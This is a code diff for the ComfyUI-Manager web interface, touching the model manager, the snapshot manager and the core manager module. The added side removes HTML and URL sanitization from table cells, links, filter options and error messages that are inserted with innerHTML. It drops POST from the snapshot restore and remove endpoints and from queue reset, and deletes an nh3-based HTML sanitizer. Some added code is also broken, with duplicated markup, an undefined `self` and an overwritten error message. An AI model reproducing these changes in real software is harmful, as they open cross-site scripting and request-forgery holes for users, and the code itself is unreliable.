|
||||
import { buildGuiFrameCustomHeader, createSettingsCombo } from "./comfyui-gui-builder.js";
|
||||
import TG from "./turbogrid.esm.js";
|
||||
|
||||
loadCss("./model-manager.css");
|
||||
|
||||
const gridId = "model";
|
||||
const escapeCell = (value) => sanitizeHTML(String(value ?? ""));
|
||||
|
||||
const pageHtml = `
|
||||
<div class="cmm-manager cmm-manager-dark">
|
||||
<div class="cmm-manager-grid"></div>
|
||||
<div class="cmm-manager-selection"></div>
|
||||
<div class="cmm-manager-message"></div>
|
||||
<div class="cmm-manager-footer">
|
||||
<button class="cmm-manager-refresh p-button p-component">Refresh</button>
|
||||
<button class="cmm-manager-stop p-button p-component">Stop</button>
|
||||
<div class="cmm-flex-auto"></div>
|
||||
</div>
|
||||
<div class="cmm-manager-header">
|
||||
<label>Filter
|
||||
<select class="cmm-manager-filter"></select>
|
||||
</label>
|
||||
<label>Type
|
||||
<select class="cmm-manager-type"></select>
|
||||
</label>
|
||||
<label>Base
|
||||
<select class="cmm-manager-base"></select>
|
||||
</label>
|
||||
<input class="cmm-manager-keywords" type="search" placeholder="Search" />
|
||||
<div class="cmm-manager-status"></div>
|
||||
<div class="cmm-flex-auto"></div>
|
||||
</div>
|
||||
<div class="cmm-manager-grid"></div>
|
||||
<div class="cmm-manager-selection"></div>
|
||||
<div class="cmm-manager-message"></div>
|
||||
<div class="cmm-manager-footer">
|
||||
<button class="cmm-manager-back">
|
||||
<svg class="arrow-icon" width="14" height="14" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M2 8H18M2 8L8 2M2 8L8 14" stroke="white" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
</svg>
|
||||
Back
|
||||
</button>
|
||||
<button class="cmm-manager-refresh">Refresh</button>
|
||||
<button class="cmm-manager-stop">Stop</button>
|
||||
<div class="cmm-flex-auto"></div>
|
||||
</div>
|
||||
`;
|
||||
|
||||
@@ -52,23 +64,11 @@ export class ModelManager {
|
||||
}
|
||||
|
||||
init() {
|
||||
const header = $el("div.cmm-manager-header", {}, [
|
||||
createSettingsCombo("Filter", $el("select.cmm-manager-filter")),
|
||||
createSettingsCombo("Type", $el("select.cmm-manager-type")),
|
||||
createSettingsCombo("Base", $el("select.cmm-manager-base")),
|
||||
$el("input.cmm-manager-keywords.p-inputtext.p-component", { type: "search", placeholder: "Search" }),
|
||||
$el("div.cmm-manager-status"),
|
||||
$el("div.cmm-flex-auto")
|
||||
]);
|
||||
|
||||
const frame = buildGuiFrameCustomHeader(
|
||||
'cmm-manager-dialog', // dialog id
|
||||
header, // custom header element
|
||||
pageHtml, // dialog content element
|
||||
this
|
||||
); // send this so we can attach close functions
|
||||
|
||||
this.element = frame;
|
||||
this.element = $el("div", {
|
||||
parent: document.body,
|
||||
className: "comfy-modal cmm-manager"
|
||||
});
|
||||
this.element.innerHTML = pageHtml;
|
||||
this.initFilter();
|
||||
this.bindEvents();
|
||||
this.initGrid();
|
||||
@@ -106,17 +106,22 @@ export class ModelManager {
|
||||
|
||||
updateFilter() {
|
||||
const $filter = this.element.querySelector(".cmm-manager-filter");
|
||||
const option = (item, current) => {
|
||||
const selected = item.value === current ? " selected" : "";
|
||||
return `<option value="${sanitizeHTML(String(item.value ?? ''))}"${selected}>${sanitizeHTML(String(item.label ?? ''))}</option>`;
|
||||
};
|
||||
$filter.innerHTML = this.filterList.map(item => option(item, this.filter)).join("");
|
||||
$filter.innerHTML = this.filterList.map(item => {
|
||||
const selected = item.value === this.filter ? " selected" : "";
|
||||
return `<option value="${item.value}"${selected}>${item.label}</option>`
|
||||
}).join("");
|
||||
|
||||
const $type = this.element.querySelector(".cmm-manager-type");
|
||||
$type.innerHTML = this.typeList.map(item => option(item, this.type)).join("");
|
||||
$type.innerHTML = this.typeList.map(item => {
|
||||
const selected = item.value === this.type ? " selected" : "";
|
||||
return `<option value="${item.value}"${selected}>${item.label}</option>`
|
||||
}).join("");
|
||||
|
||||
const $base = this.element.querySelector(".cmm-manager-base");
|
||||
$base.innerHTML = this.baseList.map(item => option(item, this.base)).join("");
|
||||
$base.innerHTML = this.baseList.map(item => {
|
||||
const selected = item.value === this.base ? " selected" : "";
|
||||
return `<option value="${item.value}"${selected}>${item.label}</option>`
|
||||
}).join("");
|
||||
|
||||
}
|
||||
|
||||
@@ -170,7 +175,7 @@ export class ModelManager {
|
||||
|
||||
".cmm-manager-stop": {
|
||||
click: () => {
|
||||
api.fetchApi('/v2/manager/queue/reset', { method: 'POST' });
|
||||
api.fetchApi('/v2/manager/queue/reset');
|
||||
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
|
||||
}
|
||||
},
|
||||
@@ -199,7 +204,7 @@ export class ModelManager {
|
||||
|
||||
initGrid() {
|
||||
const container = this.element.querySelector(".cmm-manager-grid");
|
||||
const grid = new ManagerGrid(container);
|
||||
const grid = new TG.Grid(container);
|
||||
this.grid = grid;
|
||||
|
||||
grid.bind('onUpdated', (e, d) => {
|
||||
@@ -227,9 +232,6 @@ export class ModelManager {
|
||||
});
|
||||
|
||||
grid.setOption({
|
||||
highlightKeywords: {
|
||||
textGenerator: (row, column) => ['name', 'description'].includes(column) ? row[column] : escapeCell(row[column])
|
||||
},
|
||||
theme: 'dark',
|
||||
|
||||
selectVisible: true,
|
||||
@@ -328,12 +330,7 @@ export class ModelManager {
|
||||
maxWidth: 500,
|
||||
classMap: 'cmm-node-name',
|
||||
formatter: function(name, rowItem, columnItem, cellNode) {
|
||||
// Names are server-escaped; raw references need URL and attribute handling.
|
||||
const href = sanitizeUrl(rowItem.reference);
|
||||
if (!href) {
|
||||
return `<b>${String(name ?? '')}</b>`;
|
||||
}
|
||||
return `<a href="${sanitizeHTML(href)}" target="_blank" rel="noopener noreferrer"><b>${String(name ?? '')}</b></a>`;
|
||||
return `<a href=${rowItem.reference} target="_blank"><b>${name}</b></a>`;
|
||||
}
|
||||
}, {
|
||||
id: 'installed',
|
||||
@@ -350,7 +347,7 @@ export class ModelManager {
|
||||
if (installed === "True") {
|
||||
return `<div class="cmm-icon-passed">${icons.passed}</div>`;
|
||||
}
|
||||
return `<button class="cmm-btn-install p-button p-component" mode="install">Install</button>`;
|
||||
return `<button class="cmm-btn-install" mode="install">Install</button>`;
|
||||
}
|
||||
}, {
|
||||
id: 'url',
|
||||
@@ -359,11 +356,7 @@ export class ModelManager {
|
||||
sortable: false,
|
||||
align: 'center',
|
||||
formatter: (url, rowItem, columnItem) => {
|
||||
const href = sanitizeUrl(url);
|
||||
if (!href) {
|
||||
return '';
|
||||
}
|
||||
return `<a class="cmm-btn-download" tooltip="Download file" href="${sanitizeHTML(href)}" target="_blank" rel="noopener noreferrer">${icons.download}</a>`;
|
||||
return `<a class="cmm-btn-download" tooltip="Download file" href="${url}" target="_blank">${icons.download}</a>`;
|
||||
}
|
||||
}, {
|
||||
id: 'size',
|
||||
@@ -373,33 +366,29 @@ export class ModelManager {
|
||||
if (typeof size === "number") {
|
||||
return this.formatSize(size);
|
||||
}
|
||||
return sanitizeHTML(String(size ?? ''));
|
||||
return size;
|
||||
}
|
||||
}, {
|
||||
id: 'type',
|
||||
name: 'Type',
|
||||
width: 100,
|
||||
formatter: escapeCell
|
||||
width: 100
|
||||
}, {
|
||||
id: 'base',
|
||||
name: 'Base',
|
||||
formatter: escapeCell
|
||||
name: 'Base'
|
||||
}, {
|
||||
id: 'description',
|
||||
name: 'Description',
|
||||
width: 400,
|
||||
maxWidth: 5000,
|
||||
classMap: 'cmm-node-desc' // composed HTML from the server (convert_markdown_to_html)
|
||||
classMap: 'cmm-node-desc'
|
||||
}, {
|
||||
id: "save_path",
|
||||
name: 'Save Path',
|
||||
width: 200,
|
||||
formatter: escapeCell
|
||||
width: 200
|
||||
}, {
|
||||
id: 'filename',
|
||||
name: 'Filename',
|
||||
width: 200,
|
||||
formatter: escapeCell
|
||||
width: 200
|
||||
}];
|
||||
|
||||
restoreColumnWidth(gridId, columns);
|
||||
@@ -431,7 +420,7 @@ export class ModelManager {
|
||||
}
|
||||
|
||||
this.selectedModels = selectedList;
|
||||
this.showSelection(`<span>Selected <b>${selectedList.length}</b> models <button class="cmm-btn-install p-button p-component" mode="install">Install</button>`);
|
||||
this.showSelection(`<span>Selected <b>${selectedList.length}</b> models <button class="cmm-btn-install" mode="install">Install</button>`);
|
||||
}
|
||||
|
||||
focusInstall(item) {
|
||||
@@ -449,6 +438,7 @@ export class ModelManager {
|
||||
btn.classList.add("cmm-btn-loading");
|
||||
this.showError("");
|
||||
|
||||
let needRefresh = false;
|
||||
let errorMsg = "";
|
||||
|
||||
let target_items = [];
|
||||
@@ -469,8 +459,6 @@ export class ModelManager {
|
||||
|
||||
const data = item.originalData;
|
||||
data.ui_id = item.hash;
|
||||
// Batch rejections refer to id; models need a stable request ID.
|
||||
data.id ??= item.hash;
|
||||
|
||||
|
||||
if(batch['install_model']) {
|
||||
@@ -483,54 +471,38 @@ export class ModelManager {
|
||||
|
||||
this.install_context = {btn: btn, targets: target_items};
|
||||
|
||||
this.batch_id = generateUUID();
|
||||
batch['batch_id'] = this.batch_id;
|
||||
if(errorMsg) {
|
||||
this.showError(errorMsg);
|
||||
show_message("[Installation Errors]\n"+errorMsg);
|
||||
|
||||
let failed;
|
||||
try {
|
||||
const { data, error } = await fetchData(`/v2/manager/queue/batch`, {
|
||||
// reset
|
||||
for(let k in target_items) {
|
||||
const item = target_items[k];
|
||||
this.grid.updateCell(item, "installed");
|
||||
}
|
||||
}
|
||||
else {
|
||||
this.batch_id = generateUUID();
|
||||
batch['batch_id'] = this.batch_id;
|
||||
|
||||
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(batch)
|
||||
});
|
||||
if (error) throw error;
|
||||
if (!Array.isArray(data?.failed)) throw new Error('Invalid batch response.');
|
||||
failed = data.failed;
|
||||
} catch (error) {
|
||||
errorMsg = `Failed to submit installation request: ${sanitizeHTML(String(error))}`;
|
||||
this.showError(errorMsg);
|
||||
show_message("[Installation Errors]\n" + errorMsg);
|
||||
btn.classList.remove("cmm-btn-loading");
|
||||
this.element.querySelectorAll(".cmm-btn-loading").forEach(button => {
|
||||
button.classList.remove("cmm-btn-loading");
|
||||
});
|
||||
this.hideLoading();
|
||||
this.hideStop();
|
||||
this.install_context = undefined;
|
||||
return;
|
||||
}
|
||||
for (const id of failed) {
|
||||
const item = target_items.find(item => item.originalData.id === id);
|
||||
errorMsg += `[FAIL] ${item?.name ?? sanitizeHTML(String(id))}\n`;
|
||||
}
|
||||
if (errorMsg) {
|
||||
this.showError(errorMsg);
|
||||
show_message("[Installation Errors]\n" + errorMsg);
|
||||
}
|
||||
|
||||
showTerminal();
|
||||
let failed = await res.json();
|
||||
|
||||
// No queued work means the server will not send batch-done.
|
||||
if (target_items.every(item => failed.includes(item.originalData.id))) {
|
||||
this.element.querySelectorAll(".cmm-btn-loading").forEach(button => {
|
||||
button.classList.remove("cmm-btn-loading");
|
||||
});
|
||||
this.hideLoading();
|
||||
this.hideStop();
|
||||
this.install_context = undefined;
|
||||
return;
|
||||
if(failed.length > 0) {
|
||||
for(let k in failed) {
|
||||
let hash = failed[k];
|
||||
const item = self.grid.getRowItemBy("hash", hash);
|
||||
errorMsg = `[FAIL] ${item.title}`;
|
||||
}
|
||||
}
|
||||
|
||||
this.showStop();
|
||||
showTerminal();
|
||||
}
|
||||
|
||||
this.showStop();
|
||||
}
|
||||
|
||||
async onQueueStatus(event) {
|
||||
@@ -577,7 +549,7 @@ export class ModelManager {
|
||||
let v = result[hash];
|
||||
|
||||
if(v != 'success')
|
||||
errorMsg += sanitizeHTML(String(v)) + '\n';
|
||||
errorMsg += v + '\n';
|
||||
}
|
||||
|
||||
for(let k in self.install_context.targets) {
|
||||
@@ -753,20 +725,22 @@ export class ModelManager {
|
||||
this.showMessage(err, "red");
|
||||
}
|
||||
|
||||
// Messages contain HTML: preserve server-escaped names and escape raw values at the caller.
|
||||
showMessage(msg, color) {
|
||||
const element = this.element.querySelector(".cmm-manager-message");
|
||||
element.style.color = color || "";
|
||||
element.innerHTML = msg ?? "";
|
||||
if (color) {
|
||||
msg = `<font color="${color}">${msg}</font>`;
|
||||
}
|
||||
this.element.querySelector(".cmm-manager-message").innerHTML = msg;
|
||||
}
|
||||
|
||||
showStatus(msg, color) {
|
||||
const element = this.element.querySelector(".cmm-manager-status");
|
||||
element.style.color = color || "";
|
||||
element.innerHTML = msg ?? "";
|
||||
if (color) {
|
||||
msg = `<font color="${color}">${msg}</font>`;
|
||||
}
|
||||
this.element.querySelector(".cmm-manager-status").innerHTML = msg;
|
||||
}
|
||||
|
||||
showLoading() {
|
||||
// this.setDisabled(true);
|
||||
if (this.grid) {
|
||||
this.grid.showLoading();
|
||||
this.grid.showMask({
|
||||
@@ -776,12 +750,45 @@ export class ModelManager {
|
||||
}
|
||||
|
||||
hideLoading() {
|
||||
// this.setDisabled(false);
|
||||
if (this.grid) {
|
||||
this.grid.hideLoading();
|
||||
this.grid.hideMask();
|
||||
}
|
||||
}
|
||||
|
||||
setDisabled(disabled) {
|
||||
const $close = this.element.querySelector(".cmm-manager-close");
|
||||
const $refresh = this.element.querySelector(".cmm-manager-refresh");
|
||||
const $stop = this.element.querySelector(".cmm-manager-stop");
|
||||
|
||||
const list = [
|
||||
".cmm-manager-header input",
|
||||
".cmm-manager-header select",
|
||||
".cmm-manager-footer button",
|
||||
".cmm-manager-selection button"
|
||||
].map(s => {
|
||||
return Array.from(this.element.querySelectorAll(s));
|
||||
})
|
||||
.flat()
|
||||
.filter(it => {
|
||||
return it !== $close && it !== $refresh && it !== $stop;
|
||||
});
|
||||
|
||||
list.forEach($elem => {
|
||||
if (disabled) {
|
||||
$elem.setAttribute("disabled", "disabled");
|
||||
} else {
|
||||
$elem.removeAttribute("disabled");
|
||||
}
|
||||
});
|
||||
|
||||
Array.from(this.element.querySelectorAll(".cmm-btn-loading")).forEach($elem => {
|
||||
$elem.classList.remove("cmm-btn-loading");
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
showRefresh() {
|
||||
this.element.querySelector(".cmm-manager-refresh").style.display = "block";
|
||||
}
|
||||
|
||||
@@ -1,65 +0,0 @@
|
||||
.snapshot-manager {
|
||||
--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
|
||||
z-index: 1099;
|
||||
width: 80vw;
|
||||
height: 75vh;
|
||||
min-height: 30em;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
color: var(--fg-color);
|
||||
font-family: arial, sans-serif;
|
||||
text-underline-offset: 3px;
|
||||
outline: none;
|
||||
margin: calc(var(--spacing)*2);
|
||||
}
|
||||
|
||||
.snapshot-manager button {
|
||||
width: auto;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 16px;
|
||||
color: var(--input-text);
|
||||
background-color: var(--comfy-input-bg);
|
||||
border-color: var(--border-color);
|
||||
margin: 0;
|
||||
min-width: 100px;
|
||||
padding: 4px 8px;
|
||||
}
|
||||
|
||||
.snapshot-manager .snapshot-restore-btn {
|
||||
background-color: #00158f !important;
|
||||
border-color: #2025b9 !important;
|
||||
color: white !important;
|
||||
}
|
||||
|
||||
.snapshot-manager .snapshot-remove-btn {
|
||||
background-color: #970000 !important;
|
||||
border-color: #be2127 !important;
|
||||
color: white !important;
|
||||
}
|
||||
|
||||
.snapshot-manager button:hover {
|
||||
filter: brightness(125%);
|
||||
}
|
||||
|
||||
.snapshot-manager .data-btns {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: calc(var(--spacing)*2);
|
||||
padding: calc(var(--spacing)*2);
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.snapshot-footer {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 10px;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.snapshot-manager .cn-flex-auto {
|
||||
flex: auto;
|
||||
}
|
||||
@@ -1,15 +1,13 @@
|
||||
import { app } from "../../scripts/app.js";
|
||||
import { api } from "../../scripts/api.js"
|
||||
import { ComfyDialog, $el } from "../../scripts/ui.js";
|
||||
import { manager_instance, rebootAPI, show_message, loadCss, sanitizeHTML } from "./common.js";
|
||||
import { buildGuiFrame } from "./comfyui-gui-builder.js";
|
||||
import { manager_instance, rebootAPI, show_message } from "./common.js";
|
||||
|
||||
loadCss("./snapshot.css");
|
||||
|
||||
async function restore_snapshot(target) {
|
||||
if(SnapshotManager.instance) {
|
||||
try {
|
||||
const response = await api.fetchApi(`/v2/snapshot/restore?target=${target}`, { method: 'POST', cache: "no-store" });
|
||||
const response = await api.fetchApi(`/v2/snapshot/restore?target=${target}`, { cache: "no-store" });
|
||||
|
||||
if(response.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
@@ -29,7 +27,7 @@ async function restore_snapshot(target) {
|
||||
}
|
||||
finally {
|
||||
await SnapshotManager.instance.invalidateControl();
|
||||
SnapshotManager.instance.updateMessage("<BR>To apply the snapshot, please <button id='cm-reboot-button2' class='p-button p-component'>RESTART</button> ComfyUI. And refresh browser.", 'cm-reboot-button2');
|
||||
SnapshotManager.instance.updateMessage("<BR>To apply the snapshot, please <button id='cm-reboot-button2' class='cm-small-button'>RESTART</button> ComfyUI. And refresh browser.", 'cm-reboot-button2');
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -37,7 +35,7 @@ async function restore_snapshot(target) {
|
||||
async function remove_snapshot(target) {
|
||||
if(SnapshotManager.instance) {
|
||||
try {
|
||||
const response = await api.fetchApi(`/v2/snapshot/remove?target=${target}`, { method: 'POST', cache: "no-store" });
|
||||
const response = await api.fetchApi(`/v2/snapshot/remove?target=${target}`, { cache: "no-store" });
|
||||
|
||||
if(response.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
@@ -63,7 +61,7 @@ async function remove_snapshot(target) {
|
||||
|
||||
async function save_current_snapshot() {
|
||||
try {
|
||||
const response = await api.fetchApi('/v2/snapshot/save', { method: 'POST', cache: "no-store" });
|
||||
const response = await api.fetchApi('/v2/snapshot/save', { cache: "no-store" });
|
||||
app.ui.dialog.close();
|
||||
return true;
|
||||
}
|
||||
@@ -90,8 +88,6 @@ export class SnapshotManager extends ComfyDialog {
|
||||
message_box = null;
|
||||
data = null;
|
||||
|
||||
content = $el("div.snapshot-manager");
|
||||
|
||||
clear() {
|
||||
this.restore_buttons = [];
|
||||
this.message_box = null;
|
||||
@@ -100,18 +96,9 @@ export class SnapshotManager extends ComfyDialog {
|
||||
|
||||
constructor(app, manager_dialog) {
|
||||
super();
|
||||
// this.manager_dialog = manager_dialog;
|
||||
this.manager_dialog = manager_dialog;
|
||||
this.search_keyword = '';
|
||||
|
||||
const frame = buildGuiFrame(
|
||||
'snapshot-manager-dialog', // dialog id
|
||||
'Snapshot Manager', // title
|
||||
'i.mdi.mdi-puzzle', // icon class
|
||||
this.content, // dialog content element
|
||||
this
|
||||
); // send this so we can attach close functions
|
||||
|
||||
this.element = frame;
|
||||
this.element = $el("div.comfy-modal", { parent: document.body }, []);
|
||||
}
|
||||
|
||||
async remove_item() {
|
||||
@@ -122,7 +109,7 @@ export class SnapshotManager extends ComfyDialog {
|
||||
|
||||
createControls() {
|
||||
return [
|
||||
$el("button.p-button.p-component", {
|
||||
$el("button.cm-small-button", {
|
||||
type: "button",
|
||||
textContent: "Close",
|
||||
onclick: () => { this.close(); }
|
||||
@@ -133,7 +120,7 @@ export class SnapshotManager extends ComfyDialog {
|
||||
startRestore(target) {
|
||||
const self = SnapshotManager.instance;
|
||||
|
||||
self.updateMessage(`<BR><font color="green">Restore snapshot '${sanitizeHTML(String(target.name ?? ''))}'</font>`);
|
||||
self.updateMessage(`<BR><font color="green">Restore snapshot '${target.name}'</font>`);
|
||||
|
||||
for(let i in self.restore_buttons) {
|
||||
self.restore_buttons[i].disabled = true;
|
||||
@@ -145,8 +132,8 @@ export class SnapshotManager extends ComfyDialog {
|
||||
this.clear();
|
||||
this.data = (await getSnapshotList()).items;
|
||||
|
||||
while (this.content.children.length) {
|
||||
this.content.removeChild(this.content.children[0]);
|
||||
while (this.element.children.length) {
|
||||
this.element.removeChild(this.element.children[0]);
|
||||
}
|
||||
|
||||
await this.createGrid();
|
||||
@@ -214,24 +201,23 @@ export class SnapshotManager extends ComfyDialog {
|
||||
data1.style.textAlign = "center";
|
||||
data1.innerHTML = i+1;
|
||||
var data2 = document.createElement('td');
|
||||
data2.textContent = `\u00a0${data}`;
|
||||
data2.innerHTML = ` ${data}`;
|
||||
var data_button = document.createElement('td');
|
||||
data_button.style.textAlign = "center";
|
||||
data_button.className = "data-btns";
|
||||
|
||||
var restoreBtn = document.createElement('button');
|
||||
restoreBtn.className = "snapshot-restore-btn p-button p-component";
|
||||
restoreBtn.innerHTML = 'Restore';
|
||||
restoreBtn.style.width = "100px";
|
||||
restoreBtn.style.backgroundColor = 'blue';
|
||||
|
||||
restoreBtn.addEventListener('click', function() {
|
||||
restore_snapshot(data);
|
||||
});
|
||||
|
||||
var removeBtn = document.createElement('button');
|
||||
removeBtn.className = "snapshot-remove-btn p-button p-component";
|
||||
removeBtn.innerHTML = 'Remove';
|
||||
removeBtn.style.width = "100px";
|
||||
removeBtn.style.backgroundColor = 'red';
|
||||
|
||||
removeBtn.addEventListener('click', function() {
|
||||
remove_snapshot(data);
|
||||
@@ -255,14 +241,13 @@ export class SnapshotManager extends ComfyDialog {
|
||||
let self = this;
|
||||
const panel = document.createElement('div');
|
||||
panel.style.width = "100%";
|
||||
panel.style.height = "100%";
|
||||
panel.appendChild(grid);
|
||||
|
||||
function handleResize() {
|
||||
const parentHeight = self.element.clientHeight;
|
||||
const gridHeight = parentHeight - 200;
|
||||
|
||||
// grid.style.height = gridHeight + "px";
|
||||
grid.style.height = gridHeight + "px";
|
||||
}
|
||||
window.addEventListener("resize", handleResize);
|
||||
|
||||
@@ -271,17 +256,25 @@ export class SnapshotManager extends ComfyDialog {
|
||||
grid.style.width = "100%";
|
||||
grid.style.height = "100%";
|
||||
grid.style.overflowY = "scroll";
|
||||
|
||||
this.content.appendChild(panel);
|
||||
this.element.style.height = "85%";
|
||||
this.element.style.width = "80%";
|
||||
this.element.appendChild(panel);
|
||||
|
||||
handleResize();
|
||||
}
|
||||
|
||||
async createBottomControls() {
|
||||
var close_button = document.createElement("button");
|
||||
close_button.className = "cm-small-button";
|
||||
close_button.innerHTML = "Close";
|
||||
close_button.onclick = () => { this.close(); }
|
||||
close_button.style.display = "inline-block";
|
||||
|
||||
var save_button = document.createElement("button");
|
||||
save_button.className = "p-button p-component";
|
||||
save_button.className = "cm-small-button";
|
||||
save_button.innerHTML = "Save snapshot";
|
||||
save_button.onclick = () => { save_current_snapshot(); }
|
||||
save_button.style.display = "inline-block";
|
||||
save_button.style.horizontalAlign = "right";
|
||||
save_button.style.width = "170px";
|
||||
|
||||
@@ -289,19 +282,15 @@ export class SnapshotManager extends ComfyDialog {
|
||||
this.message_box.style.height = '60px';
|
||||
this.message_box.style.verticalAlign = 'middle';
|
||||
|
||||
const footer = $el("div.snapshot-footer");
|
||||
const spacer = $el("div.cn-flex-auto");
|
||||
footer.appendChild(spacer);
|
||||
footer.appendChild(save_button);
|
||||
|
||||
this.content.appendChild(this.message_box);
|
||||
this.content.appendChild(footer);
|
||||
this.element.appendChild(this.message_box);
|
||||
this.element.appendChild(close_button);
|
||||
this.element.appendChild(save_button);
|
||||
}
|
||||
|
||||
async show() {
|
||||
try {
|
||||
this.invalidateControl();
|
||||
this.element.style.display = "flex";
|
||||
this.element.style.display = "block";
|
||||
this.element.style.zIndex = 1099;
|
||||
}
|
||||
catch(exception) {
|
||||
|
||||
@@ -1,82 +0,0 @@
|
||||
"""HTML rendering helpers used only by the legacy Manager UI."""
|
||||
import re
|
||||
from html import escape, unescape
|
||||
from html.entities import html5
|
||||
|
||||
|
||||
SAFE_URL_SCHEMES = frozenset({'http', 'https'})
|
||||
_URL_SCHEME_NOISE = re.compile(r'[\x00-\x20\x7f]')
|
||||
_URL_HEAD_DELIMITERS = ('/', '?', '#')
|
||||
|
||||
|
||||
def escape_html_attribute(value):
|
||||
"""Escape a value for a quoted HTML attribute."""
|
||||
return escape(str(value), quote=True)
|
||||
|
||||
|
||||
_HTML_ENTITY = re.compile(r'&(#[0-9]+|#[xX][0-9a-fA-F]+|[A-Za-z][A-Za-z0-9]*);')
|
||||
_HTML_TEXT_TOKEN = re.compile(_HTML_ENTITY.pattern + "|[&<>\"']")
|
||||
|
||||
|
||||
def unescape_html_entities(text):
|
||||
"""Decode complete entities once, leaving query keys such as ¬ebook intact."""
|
||||
def replace(match):
|
||||
entity = match.group(1)
|
||||
if entity.startswith('#'):
|
||||
return unescape(match.group(0))
|
||||
return html5.get(entity + ';', match.group(0))
|
||||
|
||||
return _HTML_ENTITY.sub(replace, text)
|
||||
|
||||
|
||||
def escape_html_text(value):
|
||||
"""Escape HTML text without double-escaping existing entities."""
|
||||
return _HTML_TEXT_TOKEN.sub(
|
||||
lambda m: m.group(0) if m.group(1) else escape_html_attribute(m.group(0)),
|
||||
str(value),
|
||||
)
|
||||
|
||||
|
||||
def sanitize_url(url):
|
||||
"""Allow HTTP(S), relative URLs and anchors.
|
||||
|
||||
HTML callers must also escape the result as an attribute."""
|
||||
raw = '' if url is None else str(url)
|
||||
probe = _URL_SCHEME_NOISE.sub('', raw)
|
||||
if not probe:
|
||||
return '#'
|
||||
|
||||
cut = len(probe)
|
||||
for delimiter in _URL_HEAD_DELIMITERS:
|
||||
found = probe.find(delimiter)
|
||||
if found != -1:
|
||||
cut = min(cut, found)
|
||||
head = probe[:cut]
|
||||
|
||||
if ':' in head:
|
||||
return raw.strip() if head.split(':', 1)[0].lower() in SAFE_URL_SCHEMES else '#'
|
||||
|
||||
return raw.strip()
|
||||
|
||||
|
||||
def sanitize_html_fragment(fragment):
|
||||
"""Sanitize notice HTML, preserving its formatting and opening links safely."""
|
||||
# Keep nh3 loading within the legacy notice path.
|
||||
import nh3
|
||||
|
||||
return nh3.clean(
|
||||
'' if fragment is None else str(fragment),
|
||||
tags=nh3.ALLOWED_TAGS | {'font'},
|
||||
attributes={
|
||||
**nh3.ALLOWED_ATTRIBUTES,
|
||||
'*': {'class', 'title', 'align', 'width', 'height'},
|
||||
'font': {'color'},
|
||||
},
|
||||
# These elements previously hid their contents from the notice.
|
||||
clean_content_tags={
|
||||
'script', 'style', 'iframe', 'object', 'embed', 'svg', 'math',
|
||||
'template', 'noscript', 'textarea', 'title',
|
||||
},
|
||||
url_schemes=SAFE_URL_SCHEMES,
|
||||
set_tag_attribute_values={'a': {'target': '_blank'}},
|
||||
)
|
||||
@@ -15,7 +15,6 @@ import platform
|
||||
from datetime import datetime
|
||||
|
||||
import git
|
||||
from comfyui_manager.common.timestamp_utils import get_timestamp_for_path, get_backup_branch_name
|
||||
from git.remote import RemoteProgress
|
||||
from urllib.parse import urlparse
|
||||
from tqdm.auto import tqdm
|
||||
@@ -33,10 +32,8 @@ from packaging import version
|
||||
import uuid
|
||||
|
||||
from ..common import cm_global
|
||||
from ..common.config_writer import DirtyTrackingConfig, write_config_merged
|
||||
from ..common import cnr_utils
|
||||
from ..common import manager_util
|
||||
from ..common import manager_security
|
||||
from ..common import git_utils
|
||||
from ..common import manager_downloader
|
||||
from ..common.node_package import InstalledNodePackage
|
||||
@@ -44,20 +41,12 @@ from ..common.enums import NetworkMode, SecurityLevel, DBMode
|
||||
from ..common import context
|
||||
|
||||
|
||||
try:
|
||||
from importlib.metadata import version as _pkg_version
|
||||
_raw_version = _pkg_version("comfyui-manager")
|
||||
except Exception:
|
||||
_raw_version = "unknown"
|
||||
|
||||
version_str = f"V{_raw_version}"
|
||||
version_code = [5, 0]
|
||||
version_str = f"V{version_code[0]}.{version_code[1]}" + (f'.{version_code[2]}' if len(version_code) > 2 else '')
|
||||
|
||||
|
||||
DEFAULT_CHANNEL = "https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main"
|
||||
DEFAULT_CHANNEL_LEGACY = "https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main"
|
||||
|
||||
# SSH git URL pattern (e.g., git@github.com:user/repo.git)
|
||||
SSH_URL_PATTERN = re.compile(r"^(.+@|ssh://).+:.+$")
|
||||
|
||||
default_custom_nodes_path = None
|
||||
|
||||
@@ -171,7 +160,7 @@ comfy_ui_revision = "Unknown"
|
||||
comfy_ui_commit_datetime = datetime(1900, 1, 1, 0, 0, 0)
|
||||
|
||||
channel_dict = None
|
||||
valid_channels = {'default', 'local', DEFAULT_CHANNEL, DEFAULT_CHANNEL_LEGACY}
|
||||
valid_channels = {'default', 'local'}
|
||||
channel_list = None
|
||||
|
||||
|
||||
@@ -868,10 +857,10 @@ class UnifiedManager:
|
||||
|
||||
return res
|
||||
|
||||
def reserve_cnr_switch(self, target, zip_url, from_path, to_path, no_deps, status=''):
|
||||
def reserve_cnr_switch(self, target, zip_url, from_path, to_path, no_deps):
|
||||
script_path = os.path.join(context.manager_startup_script_path, "install-scripts.txt")
|
||||
with open(script_path, "a") as file:
|
||||
obj = [target, "#LAZY-CNR-SWITCH-SCRIPT", zip_url, from_path, to_path, no_deps, get_default_custom_nodes_path(), sys.executable, status]
|
||||
obj = [target, "#LAZY-CNR-SWITCH-SCRIPT", zip_url, from_path, to_path, no_deps, get_default_custom_nodes_path(), sys.executable]
|
||||
file.write(f"{obj}\n")
|
||||
|
||||
print(f"Installation reserved: {target}")
|
||||
